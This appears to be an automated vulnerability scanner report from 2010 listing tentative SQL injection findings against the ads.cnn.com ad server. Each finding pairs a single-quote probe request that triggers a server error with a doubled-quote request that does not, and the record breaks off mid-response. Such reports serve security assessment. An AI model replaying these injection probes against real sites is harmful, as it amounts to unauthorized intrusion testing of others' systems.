1.3. http://ads.cnn.com/event.ng/Type=click&FlightID=320202&AdID=436250&TargetID=108409&Values=1588&Redirect=$CTURL$ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://ads.cnn.com
Path:   /event.ng/Type=click&FlightID=320202&AdID=436250&TargetID=108409&Values=1588&Redirect=$CTURL$

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /event.ng/Type'=click&FlightID=320202&AdID=436250&TargetID=108409&Values=1588&Redirect=$CTURL$ HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response 1

HTTP/1.1 500 Internal Server Error
Date: Sun, 07 Nov 2010 21:08:06 GMT
Server: Apache
Content-Length: 598
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=click&FlightID=320202&AdID=436250&TargetID=108409&Values=1588&Redirect=$CTURL$ HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response 2

HTTP/1.1 302 Found
Date: Sun, 07 Nov 2010 21:08:06 GMT
Server: Apache
Pragma: no-cache
Content-Length: 0
Cache-control: no-cache, max-age=0, no-cache, private
Location: http://ads.cnn.com:80/$CTURL$
Expires: Sun, 07 Nov 2010 21:08:06 GMT
Connection: close
Content-Type: text/html


1.4. http://ads.cnn.com/event.ng/Type=click&FlightID=340502&AdID=465353&TargetID=108588&Values=1588&Redirect=$CTURL$ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://ads.cnn.com
Path:   /event.ng/Type=click&FlightID=340502&AdID=465353&TargetID=108588&Values=1588&Redirect=$CTURL$

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /event.ng/Type'=click&FlightID=340502&AdID=465353&TargetID=108588&Values=1588&Redirect=$CTURL$ HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response 1

HTTP/1.1 500 Internal Server Error
Date: Sun, 07 Nov 2010 21:08:09 GMT
Server: Apache
Content-Length: 598
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=click&FlightID=340502&AdID=465353&TargetID=108588&Values=1588&Redirect=$CTURL$ HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response 2

HTTP/1.1 302 Found
Date: Sun, 07 Nov 2010 21:08:09 GMT
Server: Apache
Pragma: no-cache
Content-Length: 0
Cache-control: no-cache, max-age=0, no-cache, private
Location: http://ads.cnn.com:80/$CTURL$
Expires: Sun, 07 Nov 2010 21:08:09 GMT
Connection: close
Content-Type: text/html


1.5. http://ads.cnn.com/event.ng/Type=click&FlightID=4621&AdID=220606&TargetID=1515&Segments=934,2247,2595,2743,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,19974,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=1515,46824&Values=43,60,80,101,150,1266,1588,2684,2741,4444,52263,52897,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&Redirect=http:/www.cnn.com [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://ads.cnn.com
Path:   /event.ng/Type=click&FlightID=4621&AdID=220606&TargetID=1515&Segments=934,2247,2595,2743,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,19974,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=1515,46824&Values=43,60,80,101,150,1266,1588,2684,2741,4444,52263,52897,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&Redirect=http:/www.cnn.com

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /event.ng/Type'=click&FlightID=4621&AdID=220606&TargetID=1515&Segments=934,2247,2595,2743,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,19974,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=1515,46824&Values=43,60,80,101,150,1266,1588,2684,2741,4444,52263,52897,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&Redirect=http:/www.cnn.com HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response 1

HTTP/1.1 500 Internal Server Error
Date: Sun, 07 Nov 2010 21:08:21 GMT
Server: Apache
Content-Length: 598
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=click&FlightID=4621&AdID=220606&TargetID=1515&Segments=934,2247,2595,2743,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,19974,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=1515,46824&Values=43,60,80,101,150,1266,1588,2684,2741,4444,52263,52897,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&Redirect=http:/www.cnn.com HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response 2

HTTP/1.1 302 Found
Date: Sun, 07 Nov 2010 21:08:21 GMT
Server: Apache
Pragma: no-cache
Content-Length: 0
Cache-control: no-cache, max-age=0, no-cache, private
Location: http://ads.cnn.com:80/http:/www.cnn.com
Expires: Sun, 07 Nov 2010 21:08:21 GMT
Connection: close
Content-Type: text/html


1.6. http://ads.cnn.com/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=367311&FlightID=268305&TargetID=104391&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,26111,30220,30645,31782,32573,32594,32787,33587,33723,33852,36376,37152,37430,37580,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42839,42860,43109,43384,43460,43581,43625&Targets=75377,1515,104391,74817&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,58920,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=bjjvory,bgnocyRtpquc [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://ads.cnn.com
Path:   /event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=367311&FlightID=268305&TargetID=104391&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,26111,30220,30645,31782,32573,32594,32787,33587,33723,33852,36376,37152,37430,37580,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42839,42860,43109,43384,43460,43581,43625&Targets=75377,1515,104391,74817&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,58920,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=bjjvory,bgnocyRtpquc

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=367311&FlightID=268305&TargetID=104391&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,26111,30220,30645,31782,32573,32594,32787,33587,33723,33852,36376,37152,37430,37580,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42839,42860,43109,43384,43460,43581,43625&Targets=75377,1515,104391,74817&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,58920,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=bjjvory,bgnocyRtpquc HTTP/1.1
Accept: */*
Referer: http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=970x66_top&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=732771
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ads.cnn.com
Proxy-Connection: Keep-Alive
Cookie: NGUserID=aa55a53-20641-1094127048-2

Response 1

HTTP/1.1 500 Internal Server Error
Date: Sun, 07 Nov 2010 21:02:06 GMT
Server: Apache
Content-Length: 598
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=367311&FlightID=268305&TargetID=104391&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,26111,30220,30645,31782,32573,32594,32787,33587,33723,33852,36376,37152,37430,37580,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42839,42860,43109,43384,43460,43581,43625&Targets=75377,1515,104391,74817&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,58920,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=bjjvory,bgnocyRtpquc HTTP/1.1
Accept: */*
Referer: http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=970x66_top&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=732771
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ads.cnn.com
Proxy-Connection: Keep-Alive
Cookie: NGUserID=aa55a53-20641-1094127048-2

Response 2

HTTP/1.1 302 Found
Date: Sun, 07 Nov 2010 21:02:06 GMT
Server: Apache
Pragma: no-cache
Content-Length: 0
Cache-control: no-cache, max-age=0, no-cache, private
Location: http://i.cdn.turner.com/cnn/images/1.gif
Expires: Sun, 07 Nov 2010 21:02:06 GMT
Content-Type: text/html


1.7. http://ads.cnn.com/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=367311&FlightID=268305&TargetID=104391&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,26111,30220,30645,31782,32573,32594,32787,33587,33723,33852,36376,37152,37430,37580,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42839,42860,43109,43384,43460,43581,43625&Targets=75377,1515,104391,74817&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,58920,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bjjvory,bgnocyRtpquc [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://ads.cnn.com
Path:   /event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=367311&FlightID=268305&TargetID=104391&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,26111,30220,30645,31782,32573,32594,32787,33587,33723,33852,36376,37152,37430,37580,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42839,42860,43109,43384,43460,43581,43625&Targets=75377,1515,104391,74817&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,58920,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bjjvory,bgnocyRtpquc

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=367311&FlightID=268305&TargetID=104391&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,26111,30220,30645,31782,32573,32594,32787,33587,33723,33852,36376,37152,37430,37580,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42839,42860,43109,43384,43460,43581,43625&Targets=75377,1515,104391,74817&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,58920,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bjjvory,bgnocyRtpquc HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response 1

HTTP/1.1 500 Internal Server Error
Date: Sun, 07 Nov 2010 21:07:45 GMT
Server: Apache
Content-Length: 598
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=367311&FlightID=268305&TargetID=104391&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,26111,30220,30645,31782,32573,32594,32787,33587,33723,33852,36376,37152,37430,37580,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42839,42860,43109,43384,43460,43581,43625&Targets=75377,1515,104391,74817&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,58920,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bjjvory,bgnocyRtpquc HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response 2

HTTP/1.1 302 Found
Date: Sun, 07 Nov 2010 21:07:45 GMT
Server: Apache
Pragma: no-cache
Content-Length: 0
Cache-control: no-cache, max-age=0, no-cache, private
Location: http://i.cdn.turner.com/cnn/images/1.gif
Expires: Sun, 07 Nov 2010 21:07:45 GMT
Connection: close
Content-Type: text/html


1.8. http://ads.cnn.com/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=435419&FlightID=303064&TargetID=93105&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,37649,37651,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=1515,93105&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61463,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=cqsfhkz,bgnocyRtpqxp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://ads.cnn.com
Path:   /event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=435419&FlightID=303064&TargetID=93105&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,37649,37651,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=1515,93105&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61463,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=cqsfhkz,bgnocyRtpqxp

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=435419&FlightID=303064&TargetID=93105&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,37649,37651,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=1515,93105&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61463,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=cqsfhkz,bgnocyRtpqxp HTTP/1.1
Accept: */*
Referer: http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=336_adlinks&cnn_rollup=technology&params.styles=fs&tile=1570051619821&domId=29771
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ads.cnn.com
Proxy-Connection: Keep-Alive
Cookie: NGUserID=aa55a53-20641-1094127048-2; SelectedEdition=www; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; rsi_segs_ttn=A09801_10014|A09801_10001; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&; adDEon=true

Response 1

HTTP/1.1 500 Internal Server Error
Date: Sun, 07 Nov 2010 21:06:16 GMT
Server: Apache
Content-Length: 598
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=435419&FlightID=303064&TargetID=93105&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,37649,37651,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=1515,93105&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61463,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2%2CTIELID%2C1570051619821&random=cqsfhkz,bgnocyRtpqxp HTTP/1.1
Accept: */*
Referer: http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=336_adlinks&cnn_rollup=technology&params.styles=fs&tile=1570051619821&domId=29771
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ads.cnn.com
Proxy-Connection: Keep-Alive
Cookie: NGUserID=aa55a53-20641-1094127048-2; SelectedEdition=www; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; rsi_segs_ttn=A09801_10014|A09801_10001; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&; adDEon=true

Response 2

HTTP/1.1 302 Found
Date: Sun, 07 Nov 2010 21:06:16 GMT
Server: Apache
Pragma: no-cache
Content-Length: 0
Cache-control: no-cache, max-age=0, no-cache, private
Location: http://i.cdn.turner.com/cnn/images/1.gif
Expires: Sun, 07 Nov 2010 21:06:16 GMT
Content-Type: text/html


1.9. http://ads.cnn.com/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=435419&FlightID=303064&TargetID=93105&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,37649,37651,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=1515,93105&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61463,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=cqsfhkz,bgnocyRtpqxp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://ads.cnn.com
Path:   /event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=435419&FlightID=303064&TargetID=93105&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,37649,37651,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=1515,93105&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61463,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=cqsfhkz,bgnocyRtpqxp

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=435419&FlightID=303064&TargetID=93105&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,37649,37651,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=1515,93105&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61463,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=cqsfhkz,bgnocyRtpqxp HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response 1

HTTP/1.1 500 Internal Server Error
Date: Sun, 07 Nov 2010 21:07:41 GMT
Server: Apache
Content-Length: 598
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
